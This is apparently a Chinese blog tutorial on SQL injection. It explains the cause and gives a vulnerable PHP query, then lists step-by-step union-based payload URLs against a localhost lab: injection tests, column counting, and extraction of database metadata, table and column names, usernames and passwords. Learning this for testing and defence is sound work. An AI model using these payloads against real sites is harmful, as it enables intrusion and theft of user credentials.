网站渗透见解

简介: SQL注入漏洞主要形成的原因是在数据交互中,前端的 数据传入到后台处理时,没有做严格的判断,导致其传入的 “数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

## 前言

       今天来分享一些网站搭建中经常出现的漏洞解析,我们在

   网站搭建中经常会遇到一些网站报错的小问题,不要小看这些

   小问题,有可能会直接使我们的程序崩溃,造成不可逆的损失

   数据损坏。而有一些不法分子会利用我们网站的漏洞进行攻击

   与数据盗取,希望大家注意,今天就分享一下自己对网站搭建

   与安全的一些见解。

       SQL注入漏洞主要形成的原因是在数据交互中,前端的

   数据传入到后台处理时,没有做严格的判断,导致其传入的

   “数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。

   从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

   PHP代码:$sql="SELECT user_name FROM users WHERE id='$id' LIMIT 0,1";

   地址:http://127.0.0.1/index.php?id=1

   此时的数据库语句:

   select user_name from users where id=‘1’

   1、 判断注入

  http://127.0.0.1/index.php?id=1 and 1=1  //页面反馈正常

  http://127.0.0.1/index.php?id=1 and 1=2  //页面显示报错

   2、 判断字段数

  http://127.0.0.1/index.php?id=1 order by 1

  http://127.0.0.1/index.php?id=1 order by 2

  http://127.0.0.1/index.php?id=1 order by 3

  http://127.0.0.1/index.php?id=1 order by 4 //页面进行报错,存在三个字段数

   3、 查库

  http://127.0.0.1/index.php?id=-1 union select 1,2,3

  http://127.0.0.1/index.php?id=-1 union select 1,2,database() //库名

   数据库版本:version()

   数据库名字:database()

   数据库用户:user()

   操作系统:@@version_compile_os.

    http://127.0.0.1/index.php?id=-1 union select  

   1,2,group_concat(table_name) from information_sch

   ema.tables where table_schema=database()

    http://127.0.0.1/index.php?id=-1 union select

   1,2,group_concat(column_name) from information_sche

   ma.columns where table_name='users'

    http://127.0.0.1/Less-2/?id=-1 union select  

   1,2,group_concat(username) from security.users

    http://127.0.0.1/index.php?id=-1?id=-1 union

   select 1,2,group_concat(password) from security.users

目录
相关文章
|
6天前
|
机器学习/深度学习 SQL 安全
网络防御的艺术:洞悉安全漏洞与加密技术的融合之道
【4月更文挑战第19天】在数字化时代,网络安全已成为维护信息完整性、确保通信保密性的关键。本文将深入探讨网络安全中的核心问题——安全漏洞,并分析如何通过加密技术强化防御机制。同时,我们也将讨论提升个体和组织的安全意识对于构建坚固防线的重要性。文章旨在为读者提供一个关于现代网络安全挑战及其解决方案的全景视图,帮助理解如何通过技术与教育相结合的方式来提高整体的网络安全性。
|
7月前
|
数据采集 安全 网络协议
探寻渗透测试之道:信息收集在网络安全中的重要性
探寻渗透测试之道:信息收集在网络安全中的重要性
136 0
|
云安全 存储 监控
云渗透的重要性
云渗透测试是保障云环境安全的重要手段,可以帮助企业发现并修复安全问题,提高云环境的安全性和稳定性。企业应该定期进行云渗透测试,并采取其他安全措施,以保护核心数据和业务的安全。
云渗透的重要性
|
安全 网络协议 Ubuntu
|
安全 Shell 应用服务中间件
|
Web App开发 监控 安全
游戏安全资讯精选 2017年第十五期:网络安全人才短缺是安全事件的根源,游戏行业为典型;点评最新十大Web安全隐患;MongoDB最新漏洞缓解建议
网络安全人才短缺是安全事件的根源,游戏行业为典型;点评最新十大Web安全隐患;MongoDB最新漏洞缓解建议
2481 0
|
Web App开发 安全 网络协议
|
安全
《网络空间欺骗:构筑欺骗防御的科学基石》一3.3.3 现场分析
本文讲的是网络空间欺骗:构筑欺骗防御的科学基石一3.3.3 现场分析,本节书摘来华章计算机《网络空间欺骗:构筑欺骗防御的科学基石》一书中的第3章,第3.3.3节, Cyber Deception: Building the Scientific Foundation 苏西尔·贾乔迪亚(Sushil Jajodia)V. S.苏夫拉曼尼(V. S. Subrahmanian)[美] 维平·斯沃尔(Vipin Swarup) 著 克利夫·王(Cliff Wang) 马多贺 雷程 译 译更多章节内容可以访问云栖社区“华章计算机”公众号查看。
1065 0